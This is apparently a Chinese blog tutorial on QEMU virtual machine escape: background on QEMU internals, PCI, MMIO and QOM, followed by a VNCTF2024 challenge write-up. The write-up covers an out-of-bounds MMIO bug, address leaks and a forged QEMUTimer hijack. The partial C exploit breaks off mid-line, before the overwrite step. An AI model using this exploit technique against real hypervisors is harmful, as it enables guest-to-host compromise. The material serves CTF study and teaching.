虚拟机逃逸实在是泰裤辣!!!
基础 qemu mode
User mode:用户模式,在这种模式下,QEMU 运行某个单一的程序,并且适配其的系统调用。比如我们想在x86机器上运行arm程序可以选择
System mode:系统模式,在这种模式下,QEMU 可以模拟出一个完整的计算机系统。
KVM:KVM(Kernel-based Virtual Machine,基于内核的虚拟机)是一种 TYPE1 Hypervisor 虚拟化技术,VMM 和 HostOS 一体化,直接运行 Host Hardware 之上,实现硬件和虚拟机完全管控。
Xen:Xen是一个开放源代码虚拟机监视器,由剑桥大学开发。Xen的缺点是操作系统必须进行显式地修改(移植)以在Xen上运行(但是提供对用户应用的兼容性),所以比较麻烦。使得Xen无需特殊硬件支持,就能达到高性能的虚拟化。
内存结构 每个qemu虚拟机都是宿主机上的一个进程 ,在进程中用mmap分配出大小为0x40000000字节的宿主机的虚拟内存来作为虚拟机的物理内存
一个经典的内存结构图(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Guest' processes +--------------------+ Virtual addr space | | +--------------------+ | | \__ Page Table \__ \ \ | | Guest kernel +----+--------------------+----------------+ Guest's phy. memory | | | | +----+--------------------+----------------+ | | \__ \__ \ \ | QEMU process | +----+------------------------------------------+ Virtual addr space | | | +----+------------------------------------------+ | | \__ Page Table \__ \ \ | | +----+-----------------------------------------------++ Physical memory | | || +----+-----------------------------------------------++
PCI设备有其配置空间来保存设备信息,头部最开始的数据为Device id和Vendor id
地址翻译
从用户虚拟地址到用户物理地址:这一层转换是模拟真实设备中所需要的虚拟地址和物理地址而存在的,所以我们也可以通过分析转换规则,编写程序来模拟这一层转换。
从用户物理地址到 QEMU 的虚拟地址空间:这一层是把用户的物理地址转换为 QEMU 上使用 mmap 申请出的地址空间,这部分空间的内容与用户的物理地址逐一对应,所以我们只需要知道 QEMU 上使用 mmap 申请出的地址空间的初始地址,再加上用户物理地址,就可以得到此地址对应的在 QEMU 中的虚拟地址。
计算
在 x64 系统上,虚拟地址由 page offset (bits 0-11) 和 page number 组成,/proc/pid/pagemap
(2) 这个文件中储存着此进程的页表,让用户空间进程可以找出每个虚拟页面映射到哪个物理帧(需要 CAP_SYS_ADMIN 权限),它包含一个 64 位的值。
实现
因为虚拟化技术,存在Guest OS 和 Host OS 之分,这里是求 Guets OS 的物理地址
如果我们在qemu虚拟机中申请一段内存空间,找到宿主机内存。同理可以找到物理内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <fcntl.h> #include <assert.h> #include <inttypes.h> #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) int fd;uint32_t page_offset (uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1 ); } uint64_t gva_to_gfn (void *addr) { uint64_t pme, gfn; size_t offset; offset = ((uintptr_t )addr >> 9 ) & ~7 ; lseek (fd, offset, SEEK_SET); read (fd, &pme, 8 ); if (!(pme & PFN_PRESENT)) return -1 ; gfn = pme & PFN_PFN; return gfn; } uint64_t gva_to_gpa (void *addr) { uint64_t gfn = gva_to_gfn (addr); assert (gfn != -1 ); return (gfn << PAGE_SHIFT) | page_offset ((uint64_t )addr); } int main () { void *ptr; uint64_t ptr_mem; fd = open ("/proc/self/pagemap" , O_RDONLY); if (fd < 0 ) { perror ("open" ); exit (1 ); } ptr = malloc (256 ); ptr_mem = gva_to_gpa (ptr); printf ("Your physical address is at 0x%" PRIx64"\n" , ptr_mem); return 0 ; }
PCI 总线 (bus)是一种将多个功能单元进行连接并允许功能单元之间进行数据交换的一种数据通路,在现代计算机中通常采用总线结构,即存在一根主要的公共通信干线,CPU 及各种设备都通过这跟总线进行通信。
PCI 即 Peripheral Component Interconnect
,是一种连接电脑主板和外部设备的总线标准 ,其通过多根 PCI bus 完成 CPU 与 多个 PCI 设备间的连接,,在 X86 硬件体系结构中几乎所有的设备都以各种形式连接到 PCI 设备树上
PCI 标准中的三个基本组件:
PCI 设备 (device):符合 PCI 总线标准的设备都可以称之为 PCI 设备,在一个 PCI 总线上可以包含多个 PCI 设备
PCI 总线 (bus):用以连接多个 PCI 设备与多个 PCI 桥的通信干道
PCI 桥 (bridge):总线之间的连接枢纽 ,主要有以下三种:
HOST/PCI 桥:也称为 PCI 主桥或者 PCI 总线控制器,用以连接 CPU 与 PCI 根总线,隔离设备地址空间与存储器地址空间 ,现代 PC 通常还会在其中集成内存控制器,称之为北桥芯片组 (North Bridge Chipset)
PCI/ISA 桥:用于连接旧的 ISA 总线,通常还会集成中断控制器(如 i8359A),称之为南桥芯片组 (South Bridge Chipset)
PCI-to-PCI 桥:用于连接 PCI 主总线(Primary Bus)与次总线(Secondary Bus)
mmio : memory mapped io 内存映射 IO。这种方式将 IO 设备的内存与寄存器映射到指定的内存地址空间上,此时我们便可以通过常规的访问内存的方式来直接访问到设备的寄存器与内存
pmio : port mapped io 端口映射 IO。这种方式将 IO 设备的寄存器编码到指定的端口上,我们需要通过访问端口的方式来访问设备的寄存器与内存(例如在 x86 下通过 in
与 out
这一类的指令可以读写端口)。IO 设备通过专用的针脚或者专用的总线与 CPU 连接,这与内存地址空间相独立,因此又称作 isolated I/O
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <sys/io.h> unsigned char inb (unsigned short port) ;unsigned short inw (unsigned short port) ;unsigned int inl (unsigned short port) ;void outb (unsigned char value, unsigned short port) ;void outw (unsigned short value, unsigned short port) ;void outl (unsigned int value, unsigned short port) ;
查看系统pci设备 通过sysfs访问PCI设备资源
PCI 设备通过 PCIbridge classcode: deviceid:vendorid
区分。但是在真实设备中的信息更多
1 2 3 4 5 6 7 8 ~ 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: 1234:2024 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111
resource0
对应的是MMIO,而resource1
对应的是PMIO(为0则代表没有。resource
中数据格式是start-address end-address flags
1 2 3 4 5 ~ 0x00000000febc0000 0x00000000febdffff 0x0000000000040200 0x000000000000c000 0x000000000000c03f 0x0000000000040101 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
通过查看其config
文件来查看设备的配置空间,数据都可以匹配上
1 2 3 4 5 6 7 8 ~ # hexdump -C /sys/devices/pci0000:00/0000:00:04.0/config 00000000 34 12 24 20 03 01 00 00 10 00 ff 00 00 00 00 00 |4.$ ............| 00000010 00 10 bf fe 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 0b 01 00 00 |................| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000100
Qemu Object Model Qemu 是使用 C 编写的,但是充满了 OOP 的思想,在 Qemu 当中有着一套叫做 Qemu Object Model (3) 的东西来实现面向对象
在 QOM 当中使用成员嵌套的方式来完成类的继承,父类作为类结构体的第一个成员 parent
而存在,不支持多继承
Type
:用来定义一个「类」的基本属性,例如类的名字、大小、构造函数等
Class
:用来定义一个「类」的静态内容,例如类中存储的静态数据、方法函数指针等
Object
:动态分配的一个「类」的具体的实例(instance),储存类的动态数据
Property
:动态对象数据的访问器(accessor),可以通过监视器接口进行检查
在初始化设备时会初始化四个比较重要的结构体:TypeInfo -> TypeImpl -> ObjectClass -> Object,每个 Object对应一个具体的device,其构造函数在qemu启动用-device
参数加载设备时调用
hw/misc/edu.c 结合CTF Wiki 内容、Qemu source code 和文档QEMU documentation
概念
opaque: 表示不透明的设备
State: 虚拟设备
TypeInfo: 定义设备 qemu中注册的每个设备都由一个TypeInfo类型来定义。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 struct TypeInfo { const char *name; const char *parent; size_t instance_size; void (*instance_init)(Object *obj); void (*instance_post_init)(Object *obj); void (*instance_finalize)(Object *obj); bool abstract; size_t class_size; void (*class_init)(ObjectClass *klass, void *data); void (*class_base_init)(ObjectClass *klass, void *data); void (*class_finalize)(ObjectClass *klass, void *data); void *class_data; InterfaceInfo *interfaces; };
比如在edu中的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static void pci_edu_register_types (void ) { static InterfaceInfo interfaces[] = { { INTERFACE_CONVENTIONAL_PCI_DEVICE }, { }, }; static const TypeInfo edu_info = { .name = TYPE_PCI_EDU_DEVICE, .parent = TYPE_PCI_DEVICE, .instance_size = sizeof (EduState), .instance_init = edu_instance_init, .class_init = edu_class_init, .interfaces = interfaces, }; type_register_static (&edu_info); }
定义了设备类型后,需要做的是注册这个类型。执行类型注册函数type_register()
1 type_register_static (&edu_info);
构造函数。
1 2 3 4 5 6 7 8 type_init (pci_edu_register_types)#define type_init(function) module_init(function, MODULE_INIT_QOM) #define module_init(function, type) \ static void __attribute__((constructor)) do_qemu_init_ ## function(void) \ { \ register_module_init(function, type); \ }
class: 实例化设备 type_rigister 执行后: 使用 TypeInfo 生成一个 TypeImpl
,会发现成员变量几乎相同,实际上qemu就是通过用户提供的TypeInfo创建的TypeImpl的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 struct TypeImpl { const char *name; size_t class_size; size_t instance_size; size_t instance_align; void (*class_init)(ObjectClass *klass, void *data); void (*class_base_init)(ObjectClass *klass, void *data); void *class_data; void (*instance_init)(Object *obj); void (*instance_post_init)(Object *obj); void (*instance_finalize)(Object *obj); bool abstract; const char *parent; TypeImpl *parent_type; ObjectClass *class ; int num_interfaces; InterfaceImpl interfaces[MAX_INTERFACES]; };
注册类型TypeImpl之后就需要初始化该类型,其中有个叫class的成员。初始化其实就是初始化的它。当所有qemu总线、设备等的type_register_static执行完成后,即它们的TypeImpl实例创建成功后,qemu就会在type_initialize函数中去实例化其对应的ObjectClasses
ObjectClass是所有class的基类
1 2 3 4 5 6 7 8 9 10 struct ObjectClass { Type type; GSList *interfaces; const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE]; const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE]; ObjectUnparent *unparent; GHashTable *properties; };
在edu中,class_init,这里使用ObjectClass作为参数
1 2 3 4 5 6 7 8 9 10 11 12 13 static void edu_class_init (ObjectClass *class , void *data) { DeviceClass *dc = DEVICE_CLASS (class ); PCIDeviceClass *k = PCI_DEVICE_CLASS (class ); k->realize = pci_edu_realize; k->exit = pci_edu_uninit; k->vendor_id = PCI_VENDOR_ID_QEMU; k->device_id = 0x11e8 ; k->revision = 0x10 ; k->class_id = PCI_CLASS_OTHERS; set_bit (DEVICE_CATEGORY_MISC, dc->categories); }
Object对象:Type
以及ObjectClass
只是一个类型,而不是具体的设备。TypeInfo
结构体中有两个函数指针:instance_init
以及class_init
。class_init
是负责初始化ObjectClass
结构体的,instance_init
则是负责初始化具体Object
结构体的。
1 2 3 4 5 6 7 8 9 struct Object { ObjectClass *class ; ObjectFree *free; GHashTable *properties; uint32_t ref; Object *parent; };
class_init中的realize函数,其中PCIDevice也是一个已知结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static void pci_edu_realize (PCIDevice *pdev, Error **errp) { EduState *edu = EDU (pdev); uint8_t *pci_conf = pdev->config; pci_config_set_interrupt_pin (pci_conf, 1 ); if (msi_init (pdev, 0 , 1 , true , false , errp)) { return ; } timer_init_ms (&edu->dma_timer, QEMU_CLOCK_VIRTUAL, edu_dma_timer, edu); qemu_mutex_init (&edu->thr_mutex); qemu_cond_init (&edu->thr_cond); qemu_thread_create (&edu->thread, "edu" , edu_fact_thread, edu, QEMU_THREAD_JOINABLE); memory_region_init_io (&edu->mmio, OBJECT (edu), &edu_mmio_ops, edu, "edu-mmio" , 1 * MiB); pci_register_bar (pdev, 0 , PCI_BASE_ADDRESS_SPACE_MEMORY, &edu->mmio); }
QOM会为设备Object分配instace_size
大小的空间,然后调用instance_init
函数,instace 初始化使用 Object 作为参数
1 2 3 4 5 6 7 8 static void edu_instance_init (Object *obj) { EduState *edu = EDU (obj); edu->dma_mask = (1UL << 28 ) - 1 ; object_property_add_uint64_ptr (obj, "dma_mask" , &edu->dma_mask, OBJ_PROP_FLAG_READWRITE); }
内存空间 qemu使用 MemoryRegion 来表示对应的内存空间,相应的每一个 MemoryRegion 都有对应的 MemoryRegionOps 来描述其操做。
也就是注册 mmio 和 pmio
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static const MemoryRegionOps edu_mmio_ops = { .read = edu_mmio_read, .write = edu_mmio_write, .endianness = DEVICE_NATIVE_ENDIAN, .valid = { .min_access_size = 4 , .max_access_size = 8 , }, .impl = { .min_access_size = 4 , .max_access_size = 8 , }, }; void memory_region_init_io (MemoryRegion *mr, Object *owner, const MemoryRegionOps *ops, void *opaque, const char *name, uint64_t size) ;
类型转换 opaque是透明的,会出现一个类型转换为 State
1 2 3 4 ObjectClass *object_class_dynamic_cast_assert (ObjectClass *class , const char *typename , const char *file, int line, const char *func)
DMA 内存拷贝比较消耗CPU资源,定义一个专用的DMA设备帮助CPU做内存拷贝,CPU把数据的地址和需要拷贝到的目的地址
需要操作 GuestOS 物理内存,将虚拟内存地址转换为物理内存作为参数
write类似
1 2 3 4 5 6 static inline MemTxResult pci_dma_read (PCIDevice *dev, dma_addr_t addr, void *buf, dma_addr_t len) { return pci_dma_rw (dev, addr, buf, len, DMA_DIRECTION_TO_DEVICE, MEMTXATTRS_UNSPECIFIED); }
Timer QEMU 中的时钟
qemu支持四种时钟
QEMU_CLOCK_REALTIME 不受虚拟系统的影响,随时间流逝而累加计数
QEMU_CLOCK_VIRTUAL 虚拟时钟,记录虚拟系统的时间滴答
QEMU_CLOCK_HOST 这个类似墙上时钟,修改宿主机系统时间会改变这个时间
QEMU_CLOCK_VIRTUAL_RT 在非icount模式下和QEMU_CLOCK_VIRTUAL,在icount模式下于QEMU_CLOCK_VIRTUAL不同的是在虚拟cpu休眠的时候该值也会累加
如下为qemu初始化四种时钟,main_loop_tlg 是 main loop 的 QEMUTimerListGroup, 也是默认使用的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 typedef enum { QEMU_CLOCK_REALTIME = 0 , QEMU_CLOCK_VIRTUAL = 1 , QEMU_CLOCK_HOST = 2 , QEMU_CLOCK_VIRTUAL_RT = 3 , QEMU_CLOCK_MAX } QEMUClockType; init_clocks (qemu_timer_notify_cb);void init_clocks (QEMUTimerListNotifyCB *notify_cb) { QEMUClockType type; for (type = 0 ; type < QEMU_CLOCK_MAX; type++) { qemu_clock_init (type, notify_cb); } #ifdef CONFIG_PRCTL_PR_SET_TIMERSLACK prctl (PR_SET_TIMERSLACK, 1 , 0 , 0 , 0 ); #endif } static void qemu_clock_init (QEMUClockType type, QEMUTimerListNotifyCB *notify_cb) { QEMUClock *clock = qemu_clock_ptr (type); assert (main_loop_tlg.tl[type] == NULL ); clock->type = type; clock->enabled = (type == QEMU_CLOCK_VIRTUAL ? false : true ); clock->last = INT64_MIN; QLIST_INIT (&clock->timerlists); notifier_list_init (&clock->reset_notifiers); main_loop_tlg.tl[type] = timerlist_new (type, notify_cb, NULL ); } static inline QEMUClock *qemu_clock_ptr (QEMUClockType type) { return &qemu_clocks[type]; } static QEMUClock qemu_clocks[QEMU_CLOCK_MAX];
qemu时钟:一个类型的 timer 都会插入到相同的 timerlist 上。在 timerlist_run_timers()
函数中存在 cb(opaque)
调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 struct QEMUTimerListGroup { QEMUTimerList *tl[QEMU_CLOCK_MAX]; }; #define QLIST_ENTRY(type) \ struct { \ struct type *le_next; \ struct type **le_prev; \ } struct QEMUTimerList { QEMUClock *clock; QemuMutex active_timers_lock; QEMUTimer *active_timers; QLIST_ENTRY (QEMUTimerList) list; QEMUTimerListNotifyCB *notify_cb; void *notify_opaque; QemuEvent timers_done_ev; }; struct QEMUTimer { int64_t expire_time; QEMUTimerList *timer_list; QEMUTimerCB *cb; void *opaque; QEMUTimer *next; int attributes; int scale; }; void timer_init_full (QEMUTimer *ts, QEMUTimerListGroup *timer_list_group, QEMUClockType type, int scale, int attributes, QEMUTimerCB *cb, void *opaque) ;
DEBUG 一种是使用gdb加载脚本,但是交互输出不是很直观 gdb -x script
1 2 3 4 5 6 7 8 9 10 11 12 13 file ./qemu-system-x86_64 set args -L ./pc-bios \ -m 128M \ -append "console=ttyS0" \ -kernel bzImage \ -initrd rootfs.cpio.gz \ -device vn \ -nographic \ -no-reboot \ -monitor /dev/null -s start brva 0x114514
另一种是使用 gdb 连接到进程
1 2 $ ps -af | grep qemu $ gdb -x script -p <pid>
VNCTF2024 escape_langlang_mountain2 存在符号表,找到其设备ID
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __int64 __fastcall vn_class_init (__int64 a1) { __int64 result; result = PCI_DEVICE_CLASS_23 (a1); *(_QWORD *)(result + 176 ) = pci_vn_realize; *(_QWORD *)(result + 184 ) = 0LL ; *(_WORD *)(result + 208 ) = 0x1234 ; *(_WORD *)(result + 210 ) = 0x2024 ; *(_BYTE *)(result + 212 ) = 0x10 ; *(_WORD *)(result + 214 ) = 0xFF ; return result; }
mmio read/write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 __int64 __fastcall vn_mmio_read (__int64 a1, __int64 addr) { int v3; __int64 v4; v4 = object_dynamic_cast_assert (a1, "vn" , "../qemu-8.1.4/hw/misc/vnctf.c" , 21LL , "vn_mmio_read" ); if ( addr == 0x10 ) { return *(int *)(v4 + 0xB80 ); } else if ( addr == 0x20 ) { return *(int *)(*(int *)(v4 + 0xB80 ) + 0xB40 LL + v4); } return v3; } unsigned __int64 __fastcall vn_mmio_write (__int64 a1, unsigned __int64 addr, unsigned __int64 val) { __int64 v5; unsigned __int64 v6; v6 = __readfsqword(0x28 u); v5 = object_dynamic_cast_assert (a1, "vn" , "../qemu-8.1.4/hw/misc/vnctf.c" , 42LL , "vn_mmio_write" ); if ( addr == 0x30 ) { if ( !*(_DWORD *)(v5 + 0xB84 ) ) { *(_DWORD *)(v5 + *(int *)(v5 + 0xB80 ) + 0xB40 LL) = val; *(_DWORD *)(v5 + 0xB84 ) = 1 ; } } else if ( addr <= 0x30 ) { if ( addr == 0x10 ) { if ( (int )val <= 0x3c ) *(_DWORD *)(v5 + 0xB80 ) = val; } else if ( addr == 0x20 && HIDWORD (val) <= 0x3C ) { *(_DWORD *)(v5 + HIDWORD (val) + 0xB40 ) = val; } } return v6 - __readfsqword(0x28 u); }
存在一个数组越界问题,int类型可以是负数。因此设置 0xb80
值为 -0xb38/-0xb34
读取 g_free
,然后mmio_read泄露出libc_base。同样的方法可以泄露函数基地址,获得程序基址。
1 2 3 4 5 6 7 8 9 pwndbg> tele 0x563076e46c30 00 :0000 │ rax 0x563076e46c30 —▸ 0x563075f58410 —▸ 0x563075e16170 —▸ 0x563075e162f0 ◂— 0x6e76 01 :0008 │ 0x563076e46c38 —▸ 0x7faffb78bd50 (g_free) ◂— endbr6402 :0010 │ 0x563076e46c40 —▸ 0x563076dfa5e0 ◂— 0x8 03 :0018 │ 0x563076e46c48 ◂— 9 04 :0020 │ 0x563076e46c50 —▸ 0x5630760bfaa0 —▸ 0x563075ff81a0 —▸ 0x563075e5f3b0 —▸ 0x563075e5f530 ◂— ...05 :0028 │ 0x563076e46c58 ◂— 0x0 06 :0030 │ 0x563076e46c60 —▸ 0x5630760c7550 ◂— '/machine/peripheral-anon/device[0]' 07 :0038 │ 0x563076e46c68 ◂— 0x1
如何进行执行流的劫持?
Exploit 1 不依赖任何设备的函数,直接伪造QEMUTimerList和QEMUTimer,修改qemu的全局变量 main_loop_tlg 的成员变量值。等待QEMUTimer中的cb(opaque)去自动执行。在timerlist_run_timers
函数中,ts = timer_list->active_timers
,最后再去调用ts这个QEMUTimer中的cb(opaque),那么直接修改timer_list->active_timers
为一个伪造的QEMUTimer地址依然可以达到目的
CVE-2019-6788-Qemu逃逸漏洞复现与分析
MemoryRegion的结构体在缓冲区之上,通过设置好负数读取ops的地址就可以实现对qemu地址泄漏,读取opaque的地址也就知道vn设备在堆中的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> p &main_loop_tlg $5 = (<data variable, no debug info> *) 0x556d37e68480 <main_loop_tlg>pwndbg> tele 0x556d37e68480 00:0000│ 0x556d37e68480 (main_loop_tlg) —▸ 0x556d3915d7c0 —▸ 0x556d37e684a0 (qemu_clocks) —▸ 0x556d3915dc70 ◂— 0x556d37e684a0 01:0008│ 0x556d37e68488 (main_loop_tlg+8) —▸ 0x556d3915d840 —▸ 0x556d37e684b0 (qemu_clocks+16) —▸ 0x556d3915dcf0 ◂— 0x556d37e684b0 02:0010│ 0x556d37e68490 (main_loop_tlg+16) —▸ 0x556d3915d8c0 —▸ 0x556d37e684c0 (qemu_clocks+32) —▸ 0x556d3915dd70 ◂— 0x556d37e684c0 03:0018│ 0x556d37e68498 (main_loop_tlg+24) —▸ 0x556d3915d940 —▸ 0x556d37e684d0 (qemu_clocks+48) —▸ 0x556d3915ddf0 ◂— 0x556d37e684d0 04:0020│ 0x556d37e684a0 (qemu_clocks) —▸ 0x556d3915dc70 ◂— 0x556d37e684a0 05:0028│ 0x556d37e684a8 (qemu_clocks+8) ◂— 0x100000000 06:0030│ 0x556d37e684b0 (qemu_clocks+16) —▸ 0x556d3915dcf0 ◂— 0x556d37e684b0 07:0038│ 0x556d37e684b8 (qemu_clocks+24) ◂— 0x100000001 pwndbg> tele 0x556d3a13bc30+0xb40-192 00:0000│ 0x556d3a13c6b0 —▸ 0x556d379071e0 (vn_mmio_ops) —▸ 0x556d36e0a458 (vn_mmio_read) ◂— endbr64 01:0008│ 0x556d3a13c6b8 —▸ 0x556d3a13bc30 —▸ 0x556d3924d410 —▸ 0x556d3910b170 —▸ 0x556d3910b2f0 ◂— ... 02:0010│ 0x556d3a13c6c0 —▸ 0x556d3945c840 —▸ 0x556d39200d80 —▸ 0x556d391523c0 —▸ 0x556d39152540 ◂— ... 03:0018│ 0x556d3a13c6c8 ◂— 0x0 04:0020│ 0x556d3a13c6d0 ◂— 0x1000 05:0028│ 0x556d3a13c6d8 ◂— 0x0 06:0030│ 0x556d3a13c6e0 ◂— 0xfebf1000 07:0038│ 0x556d3a13c6e8 —▸ 0x556d371da35b (memory_region_destructor_none) ◂— endbr64
根据mmio_ops可以知道其下一个元素就是 opaque,也就是当前VNState
的chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 struct MemoryRegion { Object parent_obj; bool romd_mode; bool ram; bool subpage; bool readonly; bool nonvolatile; bool rom_device; bool flush_coalesced_mmio; bool unmergeable; uint8_t dirty_log_mask; bool is_iommu; RAMBlock *ram_block; Object *owner; DeviceState *dev; const MemoryRegionOps *ops; void *opaque; ... }; pwndbg> chunkinfo 0x556d3a13bc30 -0x10 ================================== Chunk info ================================== Status : Used Freeable : True prev_size : 0x50 size : 0xba0 prev_inused : 0 is_mmap : 0 non_mainarea : 0
接下来就是如何伪造QEMUTimer了。调试,查看内存,发现main_loop_tlg[1]
存在 active_timer
,可以修改这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 pwndbg> tele 0x555c4c77e480 00 :0000 │ 0x555c4c77e480 (main_loop_tlg) —▸ 0x555c4dfb97c0 —▸ 0x555c4c77e4a0 (qemu_clocks) —▸ 0x555c4dfb9c70 ◂— 0x555c4c77e4a0 01 :0008 │ 0x555c4c77e488 (main_loop_tlg+8 ) —▸ 0x555c4dfb9840 —▸ 0x555c4c77e4b0 (qemu_clocks+16 ) —▸ 0x555c4dfb9cf0 ◂— 0x555c4c77e4b0 02 :0010 │ 0x555c4c77e490 (main_loop_tlg+16 ) —▸ 0x555c4dfb98c0 —▸ 0x555c4c77e4c0 (qemu_clocks+32 ) —▸ 0x555c4dfb9d70 ◂— 0x555c4c77e4c0 03 :0018 │ 0x555c4c77e498 (main_loop_tlg+24 ) —▸ 0x555c4dfb9940 —▸ 0x555c4c77e4d0 (qemu_clocks+48 ) —▸ 0x555c4dfb9df0 ◂— 0x555c4c77e4d0 04 :0020 │ 0x555c4c77e4a0 (qemu_clocks) —▸ 0x555c4dfb9c70 ◂— 0x555c4c77e4a0 05 :0028 │ 0x555c4c77e4a8 (qemu_clocks+8 ) ◂— 0x100000000 06 :0030 │ 0x555c4c77e4b0 (qemu_clocks+16 ) —▸ 0x555c4dfb9cf0 ◂— 0x555c4c77e4b0 07 :0038 │ 0x555c4c77e4b8 (qemu_clocks+24 ) ◂— 0x100000001 pwndbg> x/12 xg 0x555c4dfb97c0 0x555c4dfb97c0 : 0x0000555c4c77e4a0 0x0000000000000000 0x555c4dfb97d0 : 0x0000000000000000 0x0000000000000000 0x555c4dfb97e0 : 0x0000000000000000 0x0000000000000000 0x555c4dfb97f0 : 0x0000000000000000 0x0000000100000000 0x555c4dfb9800 : 0x0000000000000000 0x000000004ef98770 0x555c4dfb9810 : 0x0000555c4dfb9cb8 0x0000555c4b8bbeed pwndbg> x/12 xg 0x555c4dfb9840 0x555c4dfb9840 : 0x0000555c4c77e4b0 0x0000000000000000 0x555c4dfb9850 : 0x0000000000000000 0x0000000000000000 0x555c4dfb9860 : 0x0000000000000000 0x0000000000000000 0x555c4dfb9870 : 0x0000000000000000 0x0000000100000000 0x555c4dfb9880 : 0x0000555c4e28ee30 0x0000000000000000 0x555c4dfb9890 : 0x0000555c4dfb9d38 0x0000555c4b8bbeed
exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 #include <complex.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/io.h> #include <sys/mman.h> #include <sys/types.h> #define COLOR_GREEN "\033[32m" #define COLOR_RED "\033[31m" #define COLOR_DEFAULT "\033[0m" #define DMSG(fmt, ...) \ fprintf(stderr, "[*] %s\t" fmt "\n" , __FILE__, ##__VA_ARGS__) #define IMSG(fmt, ...) \ fprintf(stderr, COLOR_GREEN "[+] %s\t" fmt "\n" COLOR_DEFAULT, __FILE__, \ ##__VA_ARGS__) #define EMSG(fmt, ...) \ fprintf(stderr, COLOR_RED "[-] %s\t" fmt "\n" COLOR_DEFAULT, __FILE__, \ ##__VA_ARGS__) #define fatal(fmt, ...) \ do { \ EMSG(fmt, ##__VA_ARGS__); \ exit(EXIT_FAILURE); \ } while (0) void debug () { DMSG ("=============\tDEBUG\t=========" ); getchar (); } void *mmio_mem;static inline uint32_t mmio_readl (uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); } static inline uint64_t mmio_readll (uint32_t addr) { uint64_t high = mmio_readl (addr + 4 ); uint64_t low = mmio_readl (addr); return (high << 32 ) | (low & 0xffffffff ); } static inline void mmio_writel (uint32_t addr, uint32_t value) { *(uint32_t *)(mmio_mem + addr) = value; } static inline void mmio_writell (uint64_t off, uint64_t value) { uint64_t high, low; low = (off << 32 ) | (value & 0xffffffff ); *(uint64_t *)(mmio_mem + 0x20 ) = low; high = ((off + 4 ) << 32 ) | (value >> 32 ); *(uint64_t *)(mmio_mem + 0x20 ) = high; } static inline void set_off (int32_t off) { mmio_writel (0x10 , off); }void mmio_setup () { int fd = open ("/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (fd == -1 ) { fatal ("Error open resource0" ); } mmio_mem = mmap (NULL , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0 ); if (mmio_mem == MAP_FAILED) { fatal ("Error mmap fd" ); } } int main () { uint32_t ret = 0 ; uint64_t elf_base; uint64_t vn_mmio_ops; uint64_t main_loop_tlg; uint64_t qemu_time_list1; uint64_t opaque; uint64_t opaque_buf; uint64_t system_fptr; IMSG ("Prepare mmio..." ); mmio_setup (); IMSG ("Leaking elf base..." ); set_off (-0xC0 ); vn_mmio_ops = mmio_readll (0x20 ); elf_base = vn_mmio_ops - 0xf581e0 ; main_loop_tlg = elf_base + 0x14b9480 ; system_fptr = elf_base + 0x312040 ; DMSG ("elf_base : %#lx" , elf_base); DMSG ("main_loop_tlg : %#lx" , main_loop_tlg); DMSG ("system func : %#lx" , system_fptr); IMSG ("Leaking opaque addr..." ); set_off (-0xC0 + 8 ); opaque = mmio_readll (0x20 ); opaque_buf = opaque + 0xb40 ; DMSG ("opaque : %#lx" , opaque); DMSG ("opaque_buf : 